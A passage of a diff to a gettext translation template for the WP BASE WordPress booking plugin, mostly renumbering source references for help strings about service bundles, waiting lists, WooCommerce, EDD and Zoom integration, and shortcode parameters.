 "<b>Delay</b> value is calculated from starting of the current job. Therefore "
 "in a package \"hair cut - 60 minutes delay - manicure\" where both services "
@@ -16716,21 +17585,21 @@
 "back."
 msgstr ""
 
-#: includes/constant-data.php:1390
+#: includes/constant-data.php:1410
 msgid ""
 "Entering zero delay means current and next job will be served at the same "
 "time. Hair cut - no delay - manicure will result in two services being "
 "booked for the same time slot."
 msgstr ""
 
-#: includes/constant-data.php:1391
+#: includes/constant-data.php:1411
 #, php-format
 msgid ""
 "If in minutes, delay time should be multiple of the %s. If it is not set so, "
 "it will be automatically rounded during save."
 msgstr ""
 
-#: includes/constant-data.php:1392
+#: includes/constant-data.php:1412
 msgid ""
 "You may want to use <b>internal</b> services in bundles. An internal service "
 "is a service which cannot be directly booked on the front end. For example, "
@@ -16739,7 +17608,7 @@
 "be set as internal."
 msgstr ""
 
-#: includes/constant-data.php:1393
+#: includes/constant-data.php:1413
 msgid ""
 "<b>Delay</b> setting in bundles allows micro-managing working hours. In hair "
 "dying example in between dying and dye processing there is a one hour "
@@ -16748,7 +17617,7 @@
 "minutes gap, service provider is available for another client."
 msgstr ""
 
-#: includes/constant-data.php:1394
+#: includes/constant-data.php:1414
 msgid ""
 "Some or all of the jobs can be the same service. For example for a training "
 "course (T) and 1 day delay (1DD), you can define such a package (TP/1W): "
@@ -16757,14 +17626,14 @@
 "booking for only Mondays is possible."
 msgstr ""
 
-#: includes/constant-data.php:1395
+#: includes/constant-data.php:1415
 msgid ""
 "Other bundles can be selected as jobs. For example we can create a 2 weeks "
 "training course from the above example: TP/2W = TP/1W-7DD-TP/1W. This may be "
 "further used for a 4 weeks package: TP/4W = TP/2W-14DD-TP/2W"
 msgstr ""
 
-#: includes/constant-data.php:1396
+#: includes/constant-data.php:1416
 msgid ""
 "Service Bundles as jobs have a default maximum nesting depth of 2. This "
 "means Package 1 may include Package 2 as a job including Package 3 as a job, "
@@ -16773,7 +17642,7 @@
 "cannot include 1 or 2. Obviously, a package cannot include itself as a job."
 msgstr ""
 
-#: includes/constant-data.php:1397
+#: includes/constant-data.php:1417
 msgid ""
 "<b>Sequence</b> is the order of the jobs. In the first example, WP BASE will "
 "search for availability of first hair cut and then manicure, but we may "
@@ -16781,7 +17650,7 @@
 "as a second sequence: Manicure - 60 minutes delay - hair cut."
 msgstr ""
 
-#: includes/constant-data.php:1398
+#: includes/constant-data.php:1418
 msgid ""
 "For each possible and desired combination of the order of jobs, you need to "
 "define a sequence. In theory you can add as many sequences as you wish, "
@@ -16790,13 +17659,13 @@
 "jobs are served at the same time."
 msgstr ""
 
-#: includes/constant-data.php:1399
+#: includes/constant-data.php:1419
 msgid ""
 "In hair dying example we would not want another sequence, because dye "
 "processing cannot be earlier than dying."
 msgstr ""
 
-#: includes/constant-data.php:1400
+#: includes/constant-data.php:1420
 msgid ""
 "The order of sequences may be important. During creating free time slots on "
 "the front end, WP BASE will start checking availability of the first "
@@ -16806,27 +17675,27 @@
 "below."
 msgstr ""
 
-#: includes/constant-data.php:1401
+#: includes/constant-data.php:1421
 msgid ""
 "First of all create your services that will make the package (which will be "
 "jobs of the package), because only saved services can be selected when "
 "configuring a package."
 msgstr ""
 
-#: includes/constant-data.php:1402
+#: includes/constant-data.php:1422
 msgid ""
 "Then you should add a sequence: A package must have at least one sequence. "
 "To create a sequence, click \"Add Sequence\" button. A new row with \"Add "
 "Job\" button will be inserted."
 msgstr ""
 
-#: includes/constant-data.php:1403
+#: includes/constant-data.php:1423
 msgid ""
 "Click \"Add Job\" button to add a new job to the sequence. Select the "
 "service and desired delay for the job."
 msgstr ""
 
-#: includes/constant-data.php:1404
+#: includes/constant-data.php:1424
 msgid ""
 "Continue adding jobs and setting them as much as required. At least two jobs "
 "are required per sequence. Tip: Recently added job copies adjustments of the "
@@ -16835,47 +17704,47 @@
 "the package quite easy."
 msgstr ""
 
-#: includes/constant-data.php:1405
+#: includes/constant-data.php:1425
 msgid "Continue adding sequences and jobs for them as long as required."
 msgstr ""
 
-#: includes/constant-data.php:1406
+#: includes/constant-data.php:1426
 msgid "You can set bundles for other services in the same manner in parallel."
 msgstr ""
 
-#: includes/constant-data.php:1407
+#: includes/constant-data.php:1427
 msgid "To activate the service bundles feature, check the \"Enable\" checkbox."
 msgstr ""
 
-#: includes/constant-data.php:1408
+#: includes/constant-data.php:1428
 msgid "Click \"Save Services\" button."
 msgstr ""
 
-#: includes/constant-data.php:1409
+#: includes/constant-data.php:1429
 msgid ""
 "To make a custom sorting (moving a sequence to an upper or lower position), "
 "select the sequence row with your mouse and move it to the new position."
 msgstr ""
 
-#: includes/constant-data.php:1410
+#: includes/constant-data.php:1430
 msgid ""
 "You can delete a job by selecting \"Delete job\" selection (or leave as "
 "\"Select Service\" before save) and saving services."
 msgstr ""
 
-#: includes/constant-data.php:1411
+#: includes/constant-data.php:1431
 msgid ""
 "A sequence is automatically cleared when there are no jobs or one job left, "
 "because at least 2 jobs are required to make a package."
 msgstr ""
 
-#: includes/constant-data.php:1412
+#: includes/constant-data.php:1432
 msgid ""
 "When a service is enabled and correctly configured as a package, a \"P\" "
 "will be seen on top-right of service ID in the List of Services."
 msgstr ""
 
-#: includes/constant-data.php:1414
+#: includes/constant-data.php:1434
 msgid ""
 "Time & SP Variant Durations selection is not meaningful for a package, "
 "because the duration of a package is determined by its jobs. You can use "
@@ -16883,7 +17752,7 @@
 "package, however."
 msgstr ""
 
-#: includes/constant-data.php:1415
+#: includes/constant-data.php:1435
 msgid ""
 "Service Bundles and Recurring Appointments can be used in combination. For "
 "the 5 days training package example, you can let the client pick week as "
@@ -16891,11 +17760,11 @@
 "Regular price will be number of repeats multiplied by package price."
 msgstr ""
 
-#: includes/constant-data.php:1416
+#: includes/constant-data.php:1436
 msgid "Service Bundles cannot be edited using Front End Edit."
 msgstr ""
 
-#: includes/constant-data.php:1417
+#: includes/constant-data.php:1437
 msgid ""
 "Other application examples: Service Bundles is a powerful tool that can be "
 "used in various applications for which other similar plugins will fail to "
@@ -16907,7 +17776,7 @@
 "there is only 2 workers available, but assign 3 if possible."
 msgstr ""
 
-#: includes/constant-data.php:1418
+#: includes/constant-data.php:1438
 msgid ""
 "Another real life example: Sometimes dentists call another expert dentist "
 "for delicate operations. Service Bundles addon can manage such an "
@@ -16920,7 +17789,7 @@
 "he wishes."
 msgstr ""
 
-#: includes/constant-data.php:1419
+#: includes/constant-data.php:1439
 msgid ""
 "Services longer than 24 hours: You can combine jobs of the same service to "
 "create a package lasting more than 24 hours. For example, by adding 3 jobs "
@@ -16929,13 +17798,13 @@
 "from a single 36 hours service, depending on the Booking View used."
 msgstr ""
 
-#: includes/constant-data.php:1420
+#: includes/constant-data.php:1440
 msgid ""
 "Service Bundles do not have their own working hours, holidays, capacity and "
 "padding settings."
 msgstr ""
 
-#: includes/constant-data.php:1421
+#: includes/constant-data.php:1441
 msgid ""
 "While real duration of a package comes from its jobs and delays, you can "
 "still set <b>duration</b> for a package which determines its availability "
@@ -16944,51 +17813,51 @@
 "can set 12 hours."
 msgstr ""
 
-#: includes/constant-data.php:1432
+#: includes/constant-data.php:1452
 msgid ""
 "Waiting List allows you to define an additional capacity for your services "
 "for which clients can apply when desired time slot is fully booked."
 msgstr ""
 
-#: includes/constant-data.php:1433
+#: includes/constant-data.php:1453
 msgid ""
 "To activate the waiting list feature for a particular service, check the "
 "\"Enable\" checkbox and enter a capacity greater than zero."
 msgstr ""
 
-#: includes/constant-data.php:1434
+#: includes/constant-data.php:1454
 msgid ""
 "When client selects a time slot with waiting list and checkouts, it will be "
 "saved as a regular booking except its status being \"waiting\"."
 msgstr ""
 
-#: includes/constant-data.php:1435
+#: includes/constant-data.php:1455
 msgid ""
 "When there is an opening in the selected slot, clients in the waiting list "
 "will get a notification email."
 msgstr ""
 
-#: includes/constant-data.php:1436
+#: includes/constant-data.php:1456
 msgid ""
 "If they choose to respond the link in this email and selected time slot is "
 "still free their booking will be automatically confirmed. It is possible to "
 "pay from digital wallet using Digital Wallet addon."
 msgstr ""
 
-#: includes/constant-data.php:1447
+#: includes/constant-data.php:1467
 msgid ""
 "With <b>WooCommerce Integration</b> Addon, you can sell your services as "
 "WooCommerce (WC) products with other WP BASE services or WC physical/digital "
 "products using cart and payment gateways provided by WC."
 msgstr ""
 
-#: includes/constant-data.php:1448 includes/constant-data.php:1465
+#: includes/constant-data.php:1468 includes/constant-data.php:1485
 msgid ""
 "To do so, first set \"Enable Integration\" as Yes and create a product page "
 "by clicking the \"Create a Booking Page\" button."
 msgstr ""
 
-#: includes/constant-data.php:1449
+#: includes/constant-data.php:1469
 msgid ""
 "WP BASE adds <code>[app_book]</code> shortcode to the page and makes "
 "required product settings. Your services will be regarded as WC products and "
@@ -16996,7 +17865,7 @@
 "selections as on a regular Make a Booking page"
 msgstr ""
 
-#: includes/constant-data.php:1450
+#: includes/constant-data.php:1470
 msgid ""
 "Instead of selling all services on a single product page, if you want to "
 "sell a single service on an existing product page, add <code>[app_book]</"
@@ -17005,7 +17874,7 @@
 "related service. Repeat this for all product/service pairs."
 msgstr ""
 
-#: includes/constant-data.php:1451
+#: includes/constant-data.php:1471
 msgid ""
 "If you want to sell a group of services on an existing product page, collect "
 "them in a category or categories (e.g. 1, 3 ), add <code>[app_book "
@@ -17014,19 +17883,19 @@
 "this example, not WooCommerce product category."
 msgstr ""
 
-#: includes/constant-data.php:1452
+#: includes/constant-data.php:1472
 msgid ""
 "WP BASE will set the product as \"variable\" and make necessary adjustments "
 "automatically on the product settings."
 msgstr ""
 
-#: includes/constant-data.php:1453
+#: includes/constant-data.php:1473
 msgid ""
 "If a booking with \"In Cart\" status expire, client will see \"session "
 "expired\" message of WC and will not be allowed to proceed for payment."
 msgstr ""
 
-#: includes/constant-data.php:1464
+#: includes/constant-data.php:1484
 msgid ""
 "With <b>Easy Digital Downloads Integration</b> Addon, you can sell your "
 "services as Easy Digital Downloads (EDD) products with other WP BASE "
@@ -17034,14 +17903,14 @@
 "provided by EDD."
 msgstr ""
 
-#: includes/constant-data.php:1466
+#: includes/constant-data.php:1486
 msgid ""
 "That is it! Now your services will be regarded as EDD products and your "
 "clients can add them to their shopping carts, making exactly the same "
 "selections as on a regular Make a Booking page"
 msgstr ""
 
-#: includes/constant-data.php:1467
+#: includes/constant-data.php:1487
 #, php-format
 msgid ""
 "You can have as many such EDD booking pages as you wish and then select them "
@@ -17049,130 +17918,130 @@
 "service=1]</code> and on that page only Service 1 will be sold."
 msgstr ""
 
-#: includes/constant-data.php:1467
+#: includes/constant-data.php:1487
 msgid "Downloads Page"
 msgstr ""
 
-#: includes/constant-data.php:1468
+#: includes/constant-data.php:1488
 msgid ""
 "You can delete an EDD page without affecting existing bookings, except for "
 "those who are already in EDD cart."
 msgstr ""
 
-#: includes/constant-data.php:1469
+#: includes/constant-data.php:1489
 msgid ""
 "If a booking with \"In Cart\" status expire, client will see \"session "
 "expired\" message of EDD and will not be allowed to proceed for payment."
 msgstr ""
 
-#: includes/constant-data.php:1480
+#: includes/constant-data.php:1500
 msgid ""
 "You can integrate your Zoom account with the booking system, so that a Zoom "
 "audio/video meeting will be created at the time of the booking."
 msgstr ""
 
-#: includes/constant-data.php:1481
+#: includes/constant-data.php:1501
 msgid ""
 "[Only for admin] You can insert meeting variables into emails using these "
 "placeholders: ZOOM_ID, ZOOM_HOST, ZOOM_PASSWORD, ZOOM_JOIN, ZOOM_TOPIC, "
 "ZOOM_AGENDA."
 msgstr ""
 
-#: includes/constant-data.php:1482
+#: includes/constant-data.php:1502
 msgid ""
 "[Only for admin] In order to start using Zoom meeting, set <b>Enable "
 "Integration</b> as \"Yes\"."
 msgstr ""
 
-#: includes/constant-data.php:1483
+#: includes/constant-data.php:1503
 msgid ""
 "[Only for admin] Select \"Zoom Account Type\" setting depending on whether "
 "you have providers and whether they will use own accounts."
 msgstr ""
 
-#: includes/constant-data.php:1484
+#: includes/constant-data.php:1504
 #, php-format
 msgid "Create an account in %s if you don't have already."
 msgstr ""
 
-#: includes/constant-data.php:1484
+#: includes/constant-data.php:1504
 msgid "Zoom Website"
 msgstr ""
 
-#: includes/constant-data.php:1485
+#: includes/constant-data.php:1505
 #, php-format
 msgid "After you log in to your Zoom account visit %s."
 msgstr ""
 
-#: includes/constant-data.php:1485
+#: includes/constant-data.php:1505
 msgid "Zoom App Marketplace"
 msgstr ""
 
-#: includes/constant-data.php:1486
+#: includes/constant-data.php:1506
 msgid "Click <b>Create</b> button under <b>Server-to-Server OAuth</b> box."
 msgstr ""
 
-#: includes/constant-data.php:1487
+#: includes/constant-data.php:1507
 msgid ""
 "Give any name to App Name in the opening window, e.g. WP BASE. Fill in the "
 "required fields in the proceeding form."
 msgstr ""
 
-#: includes/constant-data.php:1488
+#: includes/constant-data.php:1508
 msgid "Click <b>API Credentials</b> link."
 msgstr ""
 
-#: includes/constant-data.php:1489
+#: includes/constant-data.php:1509
 msgid ""
 "Copy <b>Account ID</b>, <b>Client ID</b> and <b>Client Secret</b> values to "
 "the related fields on this page."
 msgstr ""
 
-#: includes/constant-data.php:1490
+#: includes/constant-data.php:1510
 msgid "Fill in the fields on <b>Information</b> area."
 msgstr ""
 
-#: includes/constant-data.php:1491
+#: includes/constant-data.php:1511
 msgid ""
 "In <b>Scopes</b> area, select all options under <b>Meeting</b> and <b>User</"
 "b>."
 msgstr ""
 
-#: includes/constant-data.php:1492
+#: includes/constant-data.php:1512
 msgid "Complete configuration on Zoom website in <b>Activation</b> area."
 msgstr ""
 
-#: includes/constant-data.php:1493
+#: includes/constant-data.php:1513
 msgid "Click <b>Save Settings</b> on WP BASE side."
 msgstr ""
 
-#: includes/constant-data.php:1494
+#: includes/constant-data.php:1514
 msgid "Click <b>Test Connection</b> button."
 msgstr ""
 
-#: includes/constant-data.php:1495
+#: includes/constant-data.php:1515
 msgid "If you receive an error message, double check API credentials."
 msgstr ""
 
-#: includes/constant-data.php:1496
+#: includes/constant-data.php:1516
 msgid ""
 "When you receive success message, select <b>Zoom Host</b> from the pulldown "
 "menu. Depending on your Zoom account type, there can be one or more users in "
 "the list."
 msgstr ""
 
-#: includes/constant-data.php:1497
+#: includes/constant-data.php:1517
 msgid ""
 "After clicking <b>Save Settings</b> button, Zoom Integration is complete."
 msgstr ""
 
-#: includes/constant-data.php:1498
+#: includes/constant-data.php:1518
 msgid ""
 "Clients can join to a meeting using <b>Join</b> button on their account "
 "page, or link in emails which will be created with ZOOM_JOIN placeholder."
 msgstr ""
 
-#: includes/constant-data.php:1499
+#: includes/constant-data.php:1519
 msgid ""
 "Providers can start a meeting using <b>Start</b> button on their account "
 "page, in Bookings tab. Admin can also start a meeting from admin side "
@@ -17182,26 +18051,26 @@
 "by Zoom, for security reasons."
 msgstr ""
 
-#: includes/constant-data.php:1510
+#: includes/constant-data.php:1530
 msgid ""
 "You can integrate your Agora account with WP BASE, so that an Agora video "
 "meeting will be created at the time of the booking."
 msgstr ""
 
-#: includes/constant-data.php:1521
+#: includes/constant-data.php:1541
 msgid ""
 "You can integrate your Jitsi account with WP BASE, so that a Jitsi audio/"
 "video meeting will be created at the time of the booking."
 msgstr ""
 
-#: includes/constant-data.php:1534
+#: includes/constant-data.php:1554
 msgid ""
 "Creates a complete booking interface with service and date/time selection "
 "and confirmation, login forms and previous/next buttons. This shortcode is "
 "by itself sufficent to create a functional booking page."
 msgstr ""
 
-#: includes/constant-data.php:1536
+#: includes/constant-data.php:1556
 msgid ""
 "Calendar or Table title for non-mobile devices. Placeholders \"START_END\","
 "\"START\", \"END\", \"LOCATION\", \"WORKER\", \"SERVICE\" will be "
@@ -17209,49 +18078,49 @@
 "value depends on the view type."
 msgstr ""
 
-#: includes/constant-data.php:1537
+#: includes/constant-data.php:1557
 msgid "Calendar or Table title for mobile devices. See \"title\" for details."
 msgstr ""
 
-#: includes/constant-data.php:1538
+#: includes/constant-data.php:1558
 msgid ""
 "Only with Locations Addon. Text above the location selection dropdown menu. "
 "Enter 0 for no title. Default: \"Location\""
 msgstr ""
 
-#: includes/constant-data.php:1539
+#: includes/constant-data.php:1559
 msgid ""
 "Text above the service selection dropdown menu. Enter 0 for no title. "
 "Default: \"Service\""
 msgstr ""
 
-#: includes/constant-data.php:1540
+#: includes/constant-data.php:1560
 msgid ""
 "Only with Service Providers Addon. Text above the provider selection "
 "dropdown menu. Enter 0 for no title. Default: \"Specialist\""
 msgstr ""
 
-#: includes/constant-data.php:1541
+#: includes/constant-data.php:1561
 msgid ""
 "Only with Variable Durations Addon. Text above the duration selection "
 "dropdown menu. Enter 0 for no title. Default: \"Select duration\""
 msgstr ""
 
-#: includes/constant-data.php:1542
+#: includes/constant-data.php:1562
 msgid ""
 "Only with Locations Addon. You can enter Location ID or name if you want "
 "location preselected and fixed. Note: Location name query is case "
 "insensitive. Default: \"0\" (Location is selected by dropdown)."
 msgstr ""
 
-#: includes/constant-data.php:1543
+#: includes/constant-data.php:1563
 msgid ""
 "You can optionally enter service ID or name if you want service preselected "
 "and fixed. Note: Service name query is case insensitive. Multiple service "
 "selection is not allowed. Default: \"0\" (Service is selected by dropdown)."
 msgstr ""
 
-#: includes/constant-data.php:1544
+#: includes/constant-data.php:1564
 msgid ""
 "Only with Extended Service Features & Categories Addon. You can enter "
 "category ID if you want to limit services selectable from a particular "
@@ -17260,14 +18129,14 @@
 "selectable)."
 msgstr ""
 
-#: includes/constant-data.php:1545
+#: includes/constant-data.php:1565
 msgid ""
 "Only with Service Providers Addon. You can enter provider ID if you want "
 "service provider preselected and fixed. Default: \"0\" (Service provider is "
 "selected by dropdown)."
 msgstr ""
 
-#: includes/constant-data.php:1546
+#: includes/constant-data.php:1566
 msgid ""
 "Defines in which order menu items (e.g services) are displayed. Possible "
 "values: ID, name, sort_order. Optionally DESC (descending) can be used, e.g. "
@@ -17275,7 +18144,7 @@
 "see on the admin side)"
 msgstr ""
 
-#: includes/constant-data.php:1547
+#: includes/constant-data.php:1567
 msgid ""
 "Type of Booking View when client is connected with a non-mobile device: flex "
 "(with Advanced Features Addon only), table, weekly, monthly. \"flex\" "
@@ -17284,7 +18153,7 @@
 "respectively. Default: \"monthly\""
 msgstr ""
 
-#: includes/constant-data.php:1548
+#: includes/constant-data.php:1568
 msgid ""
 "Type of Booking View when client is connected with a mobile device: flex "
 "(with Advanced Features Addon only), table, weekly, monthly. \"flex\" "
@@ -17294,7 +18163,7 @@
 "Mode 6 (if Advanced Features activated)\""
 msgstr ""
 
-#: includes/constant-data.php:1549
+#: includes/constant-data.php:1569
 msgid ""
 "Design of the booking view. Selectable values: auto, compact, legacy. When "
 "\"compact\" is selected, next/previous button placed on top of the calendar "
@@ -17302,20 +18171,20 @@
 "Default: \"auto\""
 msgstr ""
 
-#: includes/constant-data.php:1550
+#: includes/constant-data.php:1570
 msgid ""
 "Whether to use Flex Steps. Selectable values: auto, 0, 1. \"auto\" takes the "
 "value from Display Settings. 0 disables, 1 enables flex steps. Default: "
 "\"auto\""
 msgstr ""
 
-#: includes/constant-data.php:1551
+#: includes/constant-data.php:1571
 msgid ""
 "Use slider for service selection. Selectable values: auto, 1, 0. When "
 "\"auto\" is selected Global setting will be used. Default: \"auto\""
 msgstr ""
 
-#: includes/constant-data.php:1552
+#: includes/constant-data.php:1572
 msgid ""
 "Only if design is \"compact\". Caption of the calendar. Placeholders "
 "\"START_END\",\"START\", \"END\", \"LOCATION\", \"WORKER\", \"SERVICE\" will "
@@ -17323,7 +18192,7 @@
 "type, typically \"START\""
 msgstr ""
 
-#: includes/constant-data.php:1553
+#: includes/constant-data.php:1573
 msgid ""
 "Only if type is \"table\". Columns to be displayed. The sequence of the "
 "columns in the parameter also defines order of the columns. Permitted values "
@@ -17333,7 +18202,7 @@
 "time, use server_date_time. Default: \"date,day,time,button\" (short)"
 msgstr ""
 
-#: includes/constant-data.php:1554
+#: includes/constant-data.php:1574
 msgid ""
 "Only if type is \"table\". Columns to be displayed when user is connected "
 "with a mobile device. The sequence of the columns in the parameter also "
@@ -17341,7 +18210,7 @@
 "Default: \"date_time,button\""
 msgstr ""
 
-#: includes/constant-data.php:1555
+#: includes/constant-data.php:1575
 #, php-format
 msgid ""
 "Only if type is \"flex\". Flex View supports different display modes from 1 "
@@ -17349,13 +18218,13 @@
 "Default: \"1\""
 msgstr ""
 
-#: includes/constant-data.php:1556
+#: includes/constant-data.php:1576
 msgid ""
 "Only if type is \"flex\". Flex View mode when client is connected with a "
 "mobile device. For description see \"mode\" parameter. Default: \"6\""
 msgstr ""
 
-#: includes/constant-data.php:1557
+#: includes/constant-data.php:1577
 msgid ""
 "Only if type is \"weekly\" or \"monthly\". Controls what type of time slots "
 "will be displayed. Selectable values:\"with_break\", \"minimum\", \"auto\". "
@@ -17365,7 +18234,7 @@
 "setting. Default: \"auto\""
 msgstr ""
 
-#: includes/constant-data.php:1558
+#: includes/constant-data.php:1578
 msgid ""
 "Fields that will be displayed on the form. Permits filtering (e.g. when you "
 "have more than one appointment page with different confirmation user field "
@@ -17376,7 +18245,7 @@
 "(Default user field and UDF setting and order will be used)"
 msgstr ""
 
-#: includes/constant-data.php:1559
+#: includes/constant-data.php:1579
 msgid ""
 "Date range of the time slots which will be displayed. For weekly and monthly "
 "calendars, only numeric part is taken into account. Permissible values: a "
@@ -17387,40 +18256,40 @@
 "rest) "
 msgstr ""
 
-#: includes/constant-data.php:1560
+#: includes/constant-data.php:1580
 msgid ""
 "Only if type is \"flex\". Set as \"1\" if Flex View will display from first "
 "day of the week, including past days in the week. Set \"0\" to start from "
 "current day. Default: \"1\""
 msgstr ""
 
-#: includes/constant-data.php:1561
+#: includes/constant-data.php:1581
 msgid ""
 "Normally time slots start from current day. If you want to force it to start "
 "from a certain date, enter that date here. Most date formats are supported, "
 "but YYYY-MM-DD is recommended. Default: \"0\" (Current day) "
 msgstr ""
 
-#: includes/constant-data.php:1562
+#: includes/constant-data.php:1582
 msgid ""
 "Number of months (Monthly Calendar), weeks (Weekly Calendar) or days (Table "
 "View or Flex View) to add to the current date or selected date. Default: "
 "\"0\" (Current day) "
 msgstr ""
 
-#: includes/constant-data.php:1563
+#: includes/constant-data.php:1583
 msgid ""
 "Setting 1 reverses positions of Booking Info and Client Info boxes at the "
 "form. Default: \"0\" (Not reversed)"
 msgstr ""
 
-#: includes/constant-data.php:1564
+#: includes/constant-data.php:1584
 msgid ""
 "Only if design is \"legacy\". Displays a datepicker to jump to the selected "
 "date within allowed limits. Set 1 to enable, 0 to disable."
 msgstr ""
 
-#: includes/constant-data.php:1570
+#: includes/constant-data.php:1590
 msgid ""
 "Creates an input field (powered with jQuery datepicker) using which starting "
 "point of the calendars on the same page will be changed. Start week day of "
@@ -17431,19 +18300,19 @@
 "setting select_date in pagination shortcode."
 msgstr ""
 
-#: includes/constant-data.php:1572
+#: includes/constant-data.php:1592
 msgid ""
 "Text above the select menu. Enter 0 for no title. Default: \"Please select a "
 "date\""
 msgstr ""
 
-#: includes/constant-data.php:1573
+#: includes/constant-data.php:1593
 msgid ""
 "Selected date during first load. Most date formats are supported, but YYYY-"
 "MM-DD is recommended. Default: \"0\" (current date, i.e. today)"
 msgstr ""
 
-#: includes/constant-data.php:1577
+#: includes/constant-data.php:1597
 msgid ""
 "Creates a dropdown menu of all users with which you can make a booking on "
 "behalf of any website member using the make an appointment page. Tip: To "
@@ -17452,35 +18321,35 @@
 "the confirmation form."
 msgstr ""
 
-#: includes/constant-data.php:1579
+#: includes/constant-data.php:1599
 msgid ""
 "Text above the select menu. Enter 0 for no title. Default: \"Select a user\""
 msgstr ""
 
-#: includes/constant-data.php:1580
+#: includes/constant-data.php:1600
 msgid ""
 "A css class name for the menu wrapper. Default is empty. Tip: Apply "
 "\"app_2column\" for a side by side layout of 2 adjacent shortcodes."
 msgstr ""
 
-#: includes/constant-data.php:1581
+#: includes/constant-data.php:1601
 msgid ""
 "Enter \"0\" to omit avatar display in the tooltip. Note: To display the "
 "avatar \"Show avatar\" should have been selected in Wordpress Settings > "
 "Discussion > Avatars. Default: \"1\" (avatar is displayed)"
 msgstr ""
 
-#: includes/constant-data.php:1582
+#: includes/constant-data.php:1602
 msgid "Size of the avatar in pixels. Maximum is 512. Default: \"96\""
 msgstr ""
 
-#: includes/constant-data.php:1583
+#: includes/constant-data.php:1603
 msgid ""
 "Sort order of the users. Possible values: ID, login, email, nicename, "
 "display_name. Default: \"display_name\""
 msgstr ""
 
-#: includes/constant-data.php:1584
+#: includes/constant-data.php:1604
 msgid ""
 "WordPress user capability to view. Users who have this capability can view "
 "and use the dropdown generated by the shortcode. Multiple capabilities "
@@ -17488,31 +18357,31 @@
 "view. Default: \"manage_options\""
 msgstr ""
 
-#: includes/constant-data.php:1585
+#: includes/constant-data.php:1605
 msgid ""
 "WordPress user role to be listed. Only users having this role will be "
 "displayed. Multiple roles separated by commas are allowed. If left empty, "
 "all users are displayed. Default: \"\" (all user roles)"
 msgstr ""
 
-#: includes/constant-data.php:1586
+#: includes/constant-data.php:1606
 msgid ""
 "Width of the button which replaces select element. Numeric value is regarded "
 "as pixels. Percentage is also accepted. Default: \"300\" (px)"
 msgstr ""
 
-#: includes/constant-data.php:1590
+#: includes/constant-data.php:1610
 msgid ""
 "Creates an account page to list bookings and adjust settings. Service "
 "providers can also view their schedules, set working hours, services, define "
 "new services, if allowed."
 msgstr ""
 
-#: includes/constant-data.php:1592
+#: includes/constant-data.php:1612
 msgid "Title tag above the tabs. Enter 0 for no title. Default: 0 (No title)"
 msgstr ""
 
-#: includes/constant-data.php:1593
+#: includes/constant-data.php:1613
 msgid ""
 "Name of the tabs to be excluded. Multiple entries separated with commas can "
 "be set. Allowed values: dashboard, bookings, manage, schedules, "
@@ -17520,25 +18389,25 @@
 "payments, credits, commissions, gcal. Default: empty"
 msgstr ""
 
-#: includes/constant-data.php:1594
+#: includes/constant-data.php:1614
 msgid ""
 "Columns to be displayed in List of Bookings tab. See columns attribute of "
 "List of Bookings (app_list) shortcode"
 msgstr ""
 
-#: includes/constant-data.php:1595
+#: includes/constant-data.php:1615
 msgid ""
 "Status of bookings that will be shown in List of Bookings tab. See status "
 "attribute of List of Bookings (app_list) shortcode"
 msgstr ""
 
-#: includes/constant-data.php:1601
+#: includes/constant-data.php:1621
 msgid ""
 "Inserts a sortable table which displays bookings of all or current or "
 "selected user. This shortcode can also be used in emails."
 msgstr ""
 
-#: includes/constant-data.php:1603
+#: includes/constant-data.php:1623
 msgid ""
 "Title text. Enter 0 for no title. Placeholder USER_NAME will be replaced by "
 "the name of user whose appointments are being displayed. Default: \"All "
@@ -17546,7 +18415,7 @@
 "the rest of \"what\" setting)"
 msgstr ""
 
-#: includes/constant-data.php:1604
+#: includes/constant-data.php:1624
 msgid ""
 "Columns of the table. Most of these are also the variables of the booking. "
 "The sequence of the columns in the parameter also defines display order of "
@@ -17565,13 +18434,13 @@
 "status, cancel, edit, pdf, gcal\""
 msgstr ""
 
-#: includes/constant-data.php:1605
+#: includes/constant-data.php:1625
 msgid ""
 "Columns of the table when the user is connected with a mobile device. For "
 "description see \"columns\" parameter."
 msgstr ""
 
-#: includes/constant-data.php:1606
+#: includes/constant-data.php:1626
 msgid ""
 "What to be displayed in the list. Permitted values: client (shows bookings "
 "of the client taking the services), provider (shows bookings of the service "
@@ -17581,7 +18450,7 @@
 "\"client\" for client"
 msgstr ""
 
-#: includes/constant-data.php:1607
+#: includes/constant-data.php:1627
 msgid ""
 "Enter the ID of the user whose list will be displayed to the admin. If "
 "omitted, a) If $_GET[\"app_user_id\"] is set in the url, that user will be "
@@ -17591,21 +18460,21 @@
 "\"0\" (current user)"
 msgstr ""
 
-#: includes/constant-data.php:1608
+#: includes/constant-data.php:1628
 msgid ""
 "An optional comma delimited list of service IDs to be included. If you want "
 "to filter the list for particular services, you can use this parameter. "
 "Default: \"\" (All services are included)"
 msgstr ""
 
-#: includes/constant-data.php:1609
+#: includes/constant-data.php:1629
 msgid ""
 "Which status(es) will be included. Possible values: all, paid, confirmed, "
 "completed, pending, removed, reserved, running (In Progress) or combinations "
 "of them separated with comma. Default: \"paid,confirmed,pending,running\""
 msgstr ""
 
-#: includes/constant-data.php:1610
+#: includes/constant-data.php:1630
 msgid ""
 "Sort order of the appointments on the first page load. Possible values: ID, "
 "start, end. Optionally DESC (descending) can be used, e.g. \"start DESC\" "
@@ -17614,14 +18483,14 @@
 "end."
 msgstr ""
 
-#: includes/constant-data.php:1611
+#: includes/constant-data.php:1631
 msgid ""
 "Limit of characters of client name. If number of characters of client name "
 "is greater than this number plus 3, then client name will be abbreviated "
 "with abbr tag. Full name will be displayed in its tooltip. Default: \"22\""
 msgstr ""
 
-#: includes/constant-data.php:1612
+#: includes/constant-data.php:1632
 msgid ""
 "Start date of the appointments to be displayed. Most date formats are "
 "supported, but YYYY-MM-DD is recommended. You can also use PHP strtotime "
@@ -17629,7 +18498,7 @@
 "month\". Default: \"0\" (No start limit) "
 msgstr ""
 
-#: includes/constant-data.php:1613
+#: includes/constant-data.php:1633
 msgid ""
 "End date of the appointments to be displayed. Most date formats are "
 "supported, but YYYY-MM-DD is recommended. You can also use PHP strtotime "
@@ -17637,21 +18506,21 @@
 "Default: \"0\" (No end limit) "
 msgstr ""
 
-#: includes/constant-data.php:1614
+#: includes/constant-data.php:1634
 msgid "Requires Front End Edit Addon. Text for edit button. Default: \"Edit\""
 msgstr ""
 
-#: includes/constant-data.php:1615
+#: includes/constant-data.php:1635
 msgid "Text for cancel button. Default: \"Cancel\""
 msgstr ""
 
-#: includes/constant-data.php:1616
+#: includes/constant-data.php:1636
 msgid ""
 "Enter 0 to generate a table even if there are no appointments in the list. "
 "Default: \"1\" (A table will not be generated if there are no bookings)"
 msgstr ""
 
-#: includes/constant-data.php:1617
+#: includes/constant-data.php:1637
 msgid ""
